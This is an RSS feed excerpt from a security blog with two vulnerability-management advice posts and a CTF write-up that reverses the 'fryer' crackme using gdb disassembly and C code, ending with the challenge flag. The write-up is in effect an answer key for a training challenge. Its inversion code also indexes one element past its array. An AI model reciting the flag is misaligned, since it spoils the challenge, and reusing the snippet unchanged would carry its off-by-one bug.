/static/7f2834ae08174312c12aabd4ae2c6048/f058b/org_tackling_risk.png 630w,
/static/7f2834ae08174312c12aabd4ae2c6048/40601/org_tackling_risk.png 945w,
/static/7f2834ae08174312c12aabd4ae2c6048/2bef9/org_tackling_risk.png 1024w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Teams begin to feel overwhelmed. Requests from security start taking longer to resolve or are ignored entirely. Over time, the Vulnerability Management team risks losing credibility and goodwill across the organization.&lt;/p&gt;
&lt;h3&gt;So What Should Vulnerability Management Teams Do?&lt;/h3&gt;
&lt;p&gt;Instead of surfacing every risk as a discrete task, VM teams should focus on creating continuous mechanisms for reducing risk. Think in terms of policy and automation rather than one-off requests. Use discrete tasks sparingly, reserving them for critical, time-sensitive vulnerabilities, like CVEs with known exploits that impact the critical path or reproducible bug bounty reports.&lt;/p&gt;
&lt;p&gt;With the right metadata, the VM team can quickly assess the critical systems and deprioritize most of the tasks. This requires a deeper understanding of your organization’s infrastructure—and often, the creation of new datasets. But the long-term benefits far outweigh any short-term slowdown.&lt;/p&gt;
&lt;p&gt;Below we can see a few common themes that might be useful across the industry:&lt;/p&gt;
&lt;h4&gt;Policy-Driven Risk Reduction&lt;/h4&gt;
&lt;p&gt;Define organization-wide security policies that can be enforced through infrastructure (e.g., image freshness, minimum package versions) It sets clear expectations and eliminates the need to chase teams down for repeat issues.&lt;/p&gt;
&lt;p&gt;Example: A policy that “containers must be rebuilt every 30 days” can replace dozens of tickets about outdated dependencies.&lt;/p&gt;
&lt;h4&gt;Automation Over Notification&lt;/h4&gt;
&lt;p&gt;Build systems that automatically handle known classes of risk (e.g., patch management, stale secrets, outdated libraries). It removes human effort for common fixes and frees up attention for critical work.&lt;/p&gt;
&lt;p&gt;Example: Automated host rotation using hardened base images instead of asking teams to patch vulnerabilities.&lt;/p&gt;
&lt;h4&gt;Leverage Metadata and Asset Context&lt;/h4&gt;
&lt;p&gt;Enrich findings with metadata such as ownership, internet exposure, data sensitivity, and usage environment. You can filter out low-priority issues and escalate only meaningful ones.&lt;/p&gt;
&lt;p&gt;Example: A vulnerability on an internal dev tool is deprioritized, while the same issue on a public-facing API triggers a task.&lt;/p&gt;
&lt;h4&gt;Dependency and Supply Chain Controls&lt;/h4&gt;
&lt;p&gt;Block high-risk dependencies or packages at the CI/CD level. Prevents bad decisions early in the pipeline instead of cleaning them up after the fact.&lt;/p&gt;
&lt;p&gt;Example: Use tools like Dependabot or Xray with policies that prevent merging code with unreviewed critical CVEs.&lt;/p&gt;
&lt;h4&gt;Triage and Threshold-Based Escalation&lt;/h4&gt;
&lt;p&gt;Define thresholds (e.g., EPSS scores, known exploits, volume of affected assets) for when a risk should become a ticket. Helps avoid alert fatigue and aligns expectations.&lt;/p&gt;
&lt;p&gt;Example: Only surface risks that have confirmed exploitation in the wild or affect more than X% of infrastructure.&lt;/p&gt;
&lt;h4&gt;Invest in Program-Level Thinking&lt;/h4&gt;
&lt;p&gt;Think in terms of long-term security outcomes instead of vulnerability whack-a-mole. Encourages systemic fixes over reactive noise.&lt;/p&gt;
&lt;p&gt;Example: Instead of surfacing each outdated library, identify patterns (e.g., which teams need better upgrade workflows) and fix those root causes.&lt;/p&gt;
&lt;h4&gt;Partner Early With Infra and Dev Teams&lt;/h4&gt;
&lt;p&gt;Involve partner teams when designing controls to ensure they’re feasible, adoptable, and observable. Builds shared ownership and avoids friction when enforcing or monitoring.&lt;/p&gt;
&lt;p&gt;Example: Collaborate to implement a shared image registry that can be centrally monitored for freshness.&lt;/p&gt;
&lt;p&gt;These examples only scratch the surface. The right policies and automations depend heavily on your organization’s structure and risk tolerance. But the takeaway is the same: make discrete tasks exceptional, and they’ll be treated as such.&lt;/p&gt;
&lt;p&gt;The next time your team rolls out a new Vulnerability Management program, ask yourself: can most of this risk be addressed through automation or policy? That answer will shape whether your program earns engagement or resistance.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vulnerability Management Pitfalls (and How to Avoid Them)]]></title><description><![CDATA[Discover the most common pitfalls faced by Vulnerability Management teams and how to avoid them.]]></description><link>https://bernardoamc.com/vulnerability-management-pitfalls/</link><guid isPermaLink="false">https://bernardoamc.com/vulnerability-management-pitfalls/</guid><pubDate>Sat, 15 Mar 2025 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ask ten companies about the responsibilities of a Vulnerability Management team, and you’ll probably get twelve different answers. That’s because every organization is unique, with different structures, tools, and challenges. Yet, despite these differences, many Vulnerability Management teams fall into the same common traps. Let’s explore these pitfalls and how to avoid them.&lt;/p&gt;
&lt;h2&gt;Development&lt;/h2&gt;
&lt;p&gt;Vulnerability Management teams can learn a lot from product teams. Both groups are about building, iterating and improving, but with different goals. Here are some common mistakes I’ve seen and how to approach them differently.&lt;/p&gt;
&lt;h3&gt;Non risk-based planning and solutions&lt;/h3&gt;
&lt;p&gt;It’s tempting to try and tackle every problem/vulnerability in a new surface area. But spending too much time trying to find and fix everything can slow progress and delay real impact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;
Imagine a team tackling container scanning. The instinct might be to identify &lt;em&gt;every container in use&lt;/em&gt;, map out relationships between containers, and scan each one for vulnerabilities. Sounds thorough, right? But in reality, this process often hits unexpected roadblocks and can take forever to provide value.&lt;/p&gt;
&lt;p&gt;Key Question:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Where does most of the risk lie in this particular surface area?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In many cases, the highest risk originates from base containers not built by our organization. These containers are foundational, widely used, and often outside our control. Focusing on them can simplify the solution by removing the need to map complex container relationships.&lt;/p&gt;
&lt;p&gt;Once the key risk areas are identified, teams can explore complementary solutions to further reduce risk:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prevent or monitor the introduction of new base containers&lt;/li&gt;
&lt;li&gt;Reduce the surface area in base containers by using distroless containers or a vendor like Chainguard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This approach mirrors the concept of a &lt;em&gt;Minimum Viable Product (MVP)&lt;/em&gt; used in product development. By focusing on the highest-risk areas, teams can quickly reduce the threat surface. Later iterations can address residual risks if needed.&lt;/p&gt;
&lt;h3&gt;Rigid Designs&lt;/h3&gt;
&lt;p&gt;A rigid pipeline design can create single points of failure, limiting the team’s ability to adapt or recover if a tool or process breaks. Systems that depend on a single scanning tool, API, or vendor-specific solution can become bottlenecks if that tool experiences downtime or becomes obsolete.&lt;/p&gt;
&lt;p&gt;Example:
Consider a team that creates a Software Bill of Materials (SBOM) for its libraries. By generating an SBOM in an industry-standard format like SPDX or CycloneDX, the team gains the flexibility to use multiple vulnerability scanning tools interchangeably. If one tool becomes unavailable or unreliable, the SBOM ensures that another tool can pick up the task without disruption. This approach minimizes dependency on a single tool and adds flexibility to the pipeline. Moreover, by adhering to open standards, the team decouples itself from vendor lock-in, ensuring long-term adaptability and integration with emerging tools.&lt;/p&gt;
&lt;p&gt;Best Practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use industry-standard formats to simplify integration with alternative solutions&lt;/li&gt;
&lt;li&gt;Regularly test alternatives to ensure they can be swapped in when needed&lt;/li&gt;
&lt;li&gt;Build redundancy and failover capabilities into critical pipeline components&lt;/li&gt;
&lt;li&gt;Document fallback plans and ensure they’re easily accessible&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Flexibility in design not only mitigates risk but also enables innovation and smoother scaling as new tools and processes emerge.&lt;/p&gt;
&lt;h3&gt;Lack of Monitoring&lt;/h3&gt;
&lt;p&gt;Automation is only as reliable as the monitoring that supports it. Establishing metrics and automated alerts is essential to ensuring pipeline health and should be prioritized before initiating new projects.&lt;/p&gt;
&lt;p&gt;Key questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is the availability of my pipeline?&lt;/li&gt;
&lt;li&gt;How long does it take to run?&lt;/li&gt;
&lt;li&gt;What behavior is considered normal or anomalous?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal is to catch issues early and avoid surprises. Healthy pipelines mean fewer missed vulnerabilities and less firefighting later.&lt;/p&gt;
&lt;h3&gt;Lack of Metrics&lt;/h3&gt;
&lt;p&gt;Monitoring keeps things running, but measuring tells you if what you’re doing is actually working.&lt;/p&gt;
&lt;p&gt;Example:
A team introduces a static code analysis tool to automate vulnerability detection in their codebase. Initially, they focus on whether the tool runs successfully and completes scans. However, they lack insight into its effectiveness.&lt;/p&gt;
&lt;p&gt;After introducing key metrics like tracking the number of vulnerabilities detected, false positive rates, and average time to resolution,they gain valuable insights. They discover that while the tool identifies a high volume of vulnerabilities, around 40% are false positives, frustrating product teams and causing delays.&lt;/p&gt;
&lt;p&gt;With these insights, the team takes action:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fine-tune the static analysis rules to reduce false positives&lt;/li&gt;
&lt;li&gt;Filter out low-severity issues that don’t meet their defined risk threshold&lt;/li&gt;
&lt;li&gt;Establish baseline metrics to track trends and measure improvements over time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a result, the tool becomes more effective, reporting is clearer, and the product teams trust the findings, leading to faster remediation and a stronger security posture.&lt;/p&gt;
&lt;p&gt;Key questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How many vulnerabilities have we uncovered over time?&lt;/li&gt;
&lt;li&gt;Are we seeing more false positives or false negatives?&lt;/li&gt;
&lt;li&gt;How has our detection rate changed over time?&lt;/li&gt;
&lt;li&gt;Are we meeting our SLAs for resolution?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Metrics aren’t just numbers—they tell a story about whether your efforts are paying off. Without them, you’re flying blind.&lt;/p&gt;
&lt;h3&gt;Lack of Documentation and Knowledge Sharing&lt;/h3&gt;
&lt;p&gt;We’ve all been there. A problem crops up, and someone says, “Didn’t we fix this last year?” Only to find there’s no record of how or why. Without good documentation, teams repeat mistakes, waste time, and lose valuable insights.&lt;/p&gt;
&lt;p&gt;Example:
A team repeatedly encounters vulnerabilities in third-party libraries used across multiple applications. However, because previous remediation steps were never documented, developers spend unnecessary time rediscovering the same solutions. Additionally, security engineers waste time re-explaining the risks and mitigations to multiple teams instead of directing them to a well-maintained knowledge base.&lt;/p&gt;
&lt;p&gt;Key areas that require documentation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Historical Vulnerability Data: Maintain a centralized record of past vulnerabilities, their impact, and how they were mitigated. This helps prevent duplicate work and ensures consistency in risk assessments&lt;/li&gt;
&lt;li&gt;Remediation Playbooks: Provide clear, step-by-step remediation guides for commonly occurring vulnerabilities, reducing the need for manual intervention&lt;/li&gt;
&lt;li&gt;Exception Handling: Document cases where vulnerabilities cannot be immediately patched, including the rationale, temporary mitigations, and an agreed-upon resolution timeline&lt;/li&gt;
&lt;li&gt;Communication and Escalation Paths: Ensure teams know where to report new vulnerabilities and how they should escalate critical findings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More best practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keep a central repository for documenting pipelines and processes&lt;/li&gt;
&lt;li&gt;Document the reasoning behind key security decisions to provide future context&lt;/li&gt;
&lt;li&gt;Host regular knowledge-sharing sessions to keep everyone informed&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Reporting&lt;/h2&gt;
&lt;p&gt;Missteps in how vulnerabilities are reported can lead to common frustrations among Vulnerability Management teams, such as slow resolution times or “won’t fix” responses.&lt;/p&gt;
&lt;h3&gt;Surfacing non-actionable or hard to action vulnerabilities&lt;/h3&gt;
&lt;p&gt;Reporting issues without clear actions or context fosters friction. Such issues are often ignored or delayed beyond SLA timelines, increasing “vulnerability burnout” and eroding trust.&lt;/p&gt;
&lt;p&gt;Example:
Imagine a vulnerability report that simply states, “High severity vulnerability found in XYZ library.” There’s no indication of where the library is used, its version, or whether it’s in an active production system. The report also doesn’t clarify the potential impact or offer guidance on remediation. As a result, the receiving team is left with several questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Where exactly is this library used?
&lt;ul&gt;
&lt;li&gt;Is it exposed to external threats, or is it an internal component?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;What is the immediate action expected of them?
&lt;ul&gt;
&lt;li&gt;Without this context, the team must spend time investigating or clarifying the report, delaying the resolution and increasing frustration.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Instead, the report could state:
“A high severity vulnerability (CVE-XXXX-YYYY) has been identified in the XYZ library, version 1.2.3, used within the payment service. This library is exposed to external web traffic, and exploitation could lead to unauthorized access. The suggested remediation is to upgrade to version 1.2.5. If this is not possible, consider applying the following compensating controls.”&lt;/p&gt;
&lt;p&gt;This version gives immediate clarity, outlines risk, and offers an actionable next step—reducing confusion and enabling faster remediation.&lt;/p&gt;
&lt;p&gt;Best practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Provide clear action plans with each reported vulnerability&lt;/li&gt;
&lt;li&gt;Clearly articulate the risk and its organizational impact&lt;/li&gt;
&lt;li&gt;Avoid assuming stakeholders will understand the severity or context of an issue&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Poorly prioritized issues&lt;/h3&gt;
&lt;p&gt;If everything is a priority, then nothing is. Throwing every vulnerability at a team without proper prioritization can be another cause for “vulnerability burnout”.&lt;/p&gt;
&lt;p&gt;Example:
A Vulnerability Management team identifies multiple vulnerabilities within a product. They send a report listing every issue as “high priority” without considering the actual impact. Some vulnerabilities affect non-production systems with limited exposure, while others involve critical services directly accessible from the internet.&lt;/p&gt;
&lt;p&gt;The receiving product team, overwhelmed by the volume and lack of clear prioritization, struggles to know where to start. As a result, critical vulnerabilities remain unaddressed, while time is wasted on low-risk issues. This not only delays risk reduction but also erodes trust between teams.&lt;/p&gt;
&lt;p&gt;The team could instead categorize the issues based on risk and urgency:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Critical: Vulnerabilities impacting exposed production services.&lt;/li&gt;
&lt;li&gt;High: Issues in internal systems that handle sensitive data.&lt;/li&gt;
&lt;li&gt;Low: Vulnerabilities in non-production environments with limited impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This way, the product team can focus their efforts where it matters most, reducing risk faster and improving overall efficiency.&lt;/p&gt;
&lt;p&gt;Best practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clearly label high or critical priority vulnerabilities.&lt;/li&gt;
&lt;li&gt;Automate where possible to minimize noise&lt;/li&gt;
&lt;li&gt;Communicate priority rationales transparently&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Organization&lt;/h2&gt;
&lt;p&gt;Effective Vulnerability Management depends on strong collaboration across teams. Clear communication and well-defined processes ensure that security efforts align with organizational goals.&lt;/p&gt;
&lt;h3&gt;Not being considered a stakeholder&lt;/h3&gt;
&lt;p&gt;Discovering key changes “too late” is a common challenge. This happens when Vulnerability Management teams are not recognized as stakeholders in new products or changes in existing systems.&lt;/p&gt;
&lt;p&gt;Ideas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Be proactive. Let teams know where and when you need to be involved&lt;/li&gt;
&lt;li&gt;Create a stakeholder registry to formalize involvement.&lt;/li&gt;
&lt;li&gt;Build relationships with teams that manage critical systems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, if you rely on an internal system to track production hosts, you need to be looped in before any API changes. Missing that could mean blind spots in your vulnerability detection.&lt;/p&gt;
&lt;h3&gt;Lack of Feedback Loops&lt;/h3&gt;
&lt;p&gt;Many Vulnerability Management teams implement processes but fail to establish effective feedback loops with stakeholders (like development or operations teams). Without feedback, it’s difficult to refine processes or understand real-world challenges.&lt;/p&gt;
&lt;p&gt;Best practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Conduct regular retrospectives or feedback sessions with product teams to understand what’s working and what’s not&lt;/li&gt;
&lt;li&gt;Use this feedback to refine vulnerability reporting, prioritize issues better, or improve automation processes&lt;/li&gt;
&lt;li&gt;Establish two-way communication, ensuring that developers feel heard and valued in security processes&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Vulnerability Management isn’t just about finding and fixing issues, it’s about building sustainable, proactive processes that evolve with the organization’s needs. The pitfalls outlined in this post are common, but they are also avoidable with the right strategies and mindset. What other pitfalls have you observed in your organization?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Cybersecurity Awareness Month CTF reversing challenge]]></title><description><![CDATA[Reversing the fryer binary from the Cybersecurity Awareness Month CTF with GDB and some C, because why not?]]></description><link>https://bernardoamc.com/htb-fryer-reversing/</link><guid isPermaLink="false">https://bernardoamc.com/htb-fryer-reversing/</guid><pubDate>Sat, 26 Oct 2024 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This year I became aware of &lt;code class=&quot;language-text&quot;&gt;Cybersecurity Awareness Month CTF&lt;/code&gt; from &lt;code class=&quot;language-text&quot;&gt;HTB&lt;/code&gt; after it happened, but still managed to grab myself one of the reverse engineering challenges from the event called &lt;code class=&quot;language-text&quot;&gt;fryer&lt;/code&gt;, because why not?&lt;/p&gt;
&lt;p&gt;Let’s see how the binary works:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ./fryer
Please enter your recipe for frying: whataboutcookies?
got:      `e?ktuwciahoabotos`
expected: `1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3`
This recipe isn&amp;#39;t right :(&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Our binary expects an input, transforms it somehow and checks it against a fixed string. Let’s see how things look through &lt;code class=&quot;language-text&quot;&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Calling &lt;code class=&quot;language-text&quot;&gt;disass main&lt;/code&gt; shows the overall shape of our &lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt; function. I’ve omitted parts that are not relevant to the challenge in order to focus on the important aspects of the code:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;gef&amp;gt; disass main

call   0x1090 &amp;lt;fgets@plt&amp;gt; # Reads our input
...
mov    rdi,rsp
call   0x11b9 &amp;lt;fryer&amp;gt;     # fryer function is called with our input
...
lea    rdi,[rip+0xd67]
mov    eax,0x0
call   0x1080 &amp;lt;printf@plt&amp;gt; # Prints the got/expected message
mov    rsi,rsp
mov    rdi,rbp
call   0x10a0 &amp;lt;strcmp@plt&amp;gt; # Compares our transformed input with the expected string
test   eax,eax
je     0x130a &amp;lt;main+200&amp;gt;   # Sends us to success/failure path&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So at this point I have a single question:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;How does the &lt;code class=&quot;language-text&quot;&gt;fryer&lt;/code&gt; function transforms our input?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s inspect &lt;code class=&quot;language-text&quot;&gt;fryer&lt;/code&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;gef&amp;gt; disass fryer

mov    DWORD PTR [rip+0x2ea5],0x13377331
mov    DWORD PTR [rip+0x2e9f],0x1 
mov    rdi,rbp
call   0x555555555040 &amp;lt;strlen@plt&amp;gt;
mov    r12,rax
cmp    rax,0x1
jbe    0x555555555239 &amp;lt;fryer+128&amp;gt;
lea    r14,[rax-0x1]
mov    ebx,0x0
lea    r13,[rip+0x2e7a]
mov    rdi,r13
call   0x555555555060 &amp;lt;rand_r@plt&amp;gt;
cdqe
mov    rcx,r12
sub    rcx,rbx
mov    edx,0x0
div    rcx
add    edx,ebx
movzx  eax,BYTE PTR [rbp+rbx*1+0x0]
movsxd rdx,edx
add    rdx,rbp
movzx  ecx,BYTE PTR [rdx]
mov    BYTE PTR [rbp+rbx*1+0x0],cl
mov    BYTE PTR [rdx],al
add    rbx,0x1
cmp    rbx,r14
jne    0x555555555202 &amp;lt;fryer+73&amp;gt; # Back to mov rdi,r13&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This looks complicated, but let’s break it down:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Store the following values: &lt;code class=&quot;language-text&quot;&gt;0x13377331&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;0x1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Get the length of our input and store it in &lt;code class=&quot;language-text&quot;&gt;r12&lt;/code&gt; through &lt;code class=&quot;language-text&quot;&gt;strlen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Abort process if our input is a single character&lt;/li&gt;
&lt;li&gt;Store the length of our input minus one in &lt;code class=&quot;language-text&quot;&gt;r14&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Store &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt; into &lt;code class=&quot;language-text&quot;&gt;ebx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Store &lt;code class=&quot;language-text&quot;&gt;0x13377331&lt;/code&gt; in &lt;code class=&quot;language-text&quot;&gt;rdi&lt;/code&gt; and call &lt;code class=&quot;language-text&quot;&gt;rand_r&lt;/code&gt; with it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is where things start:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Move &lt;code class=&quot;language-text&quot;&gt;r12&lt;/code&gt; into &lt;code class=&quot;language-text&quot;&gt;rcx&lt;/code&gt;, which is the length of our input&lt;/li&gt;
&lt;li&gt;Subtract &lt;code class=&quot;language-text&quot;&gt;rbx&lt;/code&gt; from &lt;code class=&quot;language-text&quot;&gt;rcx&lt;/code&gt;, which is currently is zero&lt;/li&gt;
&lt;li&gt;Store zero into &lt;code class=&quot;language-text&quot;&gt;edx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Call &lt;code class=&quot;language-text&quot;&gt;div&lt;/code&gt; on &lt;code class=&quot;language-text&quot;&gt;rcx&lt;/code&gt;, which sets the resulting value into &lt;code class=&quot;language-text&quot;&gt;rdx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Add &lt;code class=&quot;language-text&quot;&gt;ebx&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;rdx&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That &lt;code class=&quot;language-text&quot;&gt;div&lt;/code&gt; operation will divide our “random number” by the value we computed and keep the remainder, so we can think of it as the modulus operator for our purposes. We can visualize this entire process as:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;input_len = input.length
random_number = rand_r(0x13377331)
value = (random_number % (input_len - 0)) + 0&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s keep going:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Move &lt;code class=&quot;language-text&quot;&gt;[rbp+rbx*1+0x0]&lt;/code&gt; into &lt;code class=&quot;language-text&quot;&gt;eax&lt;/code&gt;, which is the first letter of our input
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;rbp&lt;/code&gt; points to our input and &lt;code class=&quot;language-text&quot;&gt;rbx&lt;/code&gt; is currently zero&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Add &lt;code class=&quot;language-text&quot;&gt;rdx&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;rbp&lt;/code&gt;, so now &lt;code class=&quot;language-text&quot;&gt;rdx&lt;/code&gt; points to a random place in our input&lt;/li&gt;
&lt;li&gt;Move a byte in that location to &lt;code class=&quot;language-text&quot;&gt;ecx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Move that byte to &lt;code class=&quot;language-text&quot;&gt;[rbp+rbx*1+0x0]&lt;/code&gt;, which is the first letter of our input&lt;/li&gt;
&lt;li&gt;Move &lt;code class=&quot;language-text&quot;&gt;eax&lt;/code&gt;, which was the original first character into the &lt;code class=&quot;language-text&quot;&gt;rdx&lt;/code&gt;position&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So we have:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;temp = input[0]
input[0] = input[rdx] # rdx is our &amp;quot;random value&amp;quot;
input[rdx] = temp&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Which means we just swap the value in these two positions. What next?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add 1 to &lt;code class=&quot;language-text&quot;&gt;rbx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Compare it with &lt;code class=&quot;language-text&quot;&gt;r14&lt;/code&gt;, which is our input length minus one&lt;/li&gt;
&lt;li&gt;If the value is smaller, jump back to &lt;code class=&quot;language-text&quot;&gt;mov rdi,r13&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So now we have the full picture of what is happening:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Iterate over characters in our input&lt;/li&gt;
&lt;li&gt;Get a “random number” and compute an index with it&lt;/li&gt;
&lt;li&gt;Swap values from the current index with the computed index&lt;/li&gt;
&lt;li&gt;Stop when we reach the end of our input&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Since we have access to the seed, we can reproduce what is happening. Let’s write a quick program in C to test our hypothesis:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;c&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void fryer(char *input) {
    size_t size = strlen(input);
    unsigned int seed = 0x13377331;

    for (size_t i = 0; i &amp;lt; size; i++) {
        unsigned int random_number = rand_r(&amp;amp;seed);
        size_t computed_index = (random_number % (size - i)) + i;
        char temp = input[i];
        input[i] = input[computed_index];
        input[computed_index] = temp;
    }
}

int main() {
    char input[48];
    printf(&amp;quot;Enter value: &amp;quot;);
    scanf(&amp;quot;%s&amp;quot;, input);
    fryer(input);
    printf(&amp;quot;Shuffled input: %s\n&amp;quot;, input);

    return 0;
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And running it with our original input yields:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ./test 
[Enter value: whataboutcookies?
Shuffled input: e?ktuwciahoabotos&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Which is the same output as our &lt;code class=&quot;language-text&quot;&gt;fryer&lt;/code&gt; binary!&lt;/p&gt;
&lt;p&gt;At this point we know exactly what is happening, so how can we reverse this? Well, what do we know?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;rand_r&lt;/code&gt; is predictable since we always use the same seed&lt;/li&gt;
&lt;li&gt;We know the equation that computes indexes to be swapped&lt;/li&gt;
&lt;li&gt;We know swapping occurs from beginning to the end of our input&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Given that, we can reverse the algorithm in the following way:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Compute the list of indexes to be swapped&lt;/li&gt;
&lt;li&gt;Start from the end of our input and swap back our values&lt;/li&gt;
&lt;li&gt;Repeat until we get to the beginning of our input&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Which gives us this:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;c&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
  char input[] = &amp;quot;1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3&amp;quot;; 
  int length = strlen(input);
  int indexes[length - 1];
  unsigned int seed = 0x13377331;
  
  // Compute our indexes ahead of time so we can backtrack
  for (int i = 0; i &amp;lt; length - 1; i++) {
      indexes[i] = rand_r(&amp;amp;seed) % (length - i) + i;
  }

  // Now we start reverting the process from the end to the beginning
  for (int i = length - 1; i &amp;gt;= 0; i--) {
    char temp = input[i];
    input[i] = input[indexes[i]];
    input[indexes[i]] = temp;
  }

  printf(&amp;quot;%s\n&amp;quot;, input);

  return 0;
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And after compiling the program, we get our flag!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ./test 
[HTB{4_truly_t3rr0r_fry1ng_funct10n_9b3ab6160f31}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
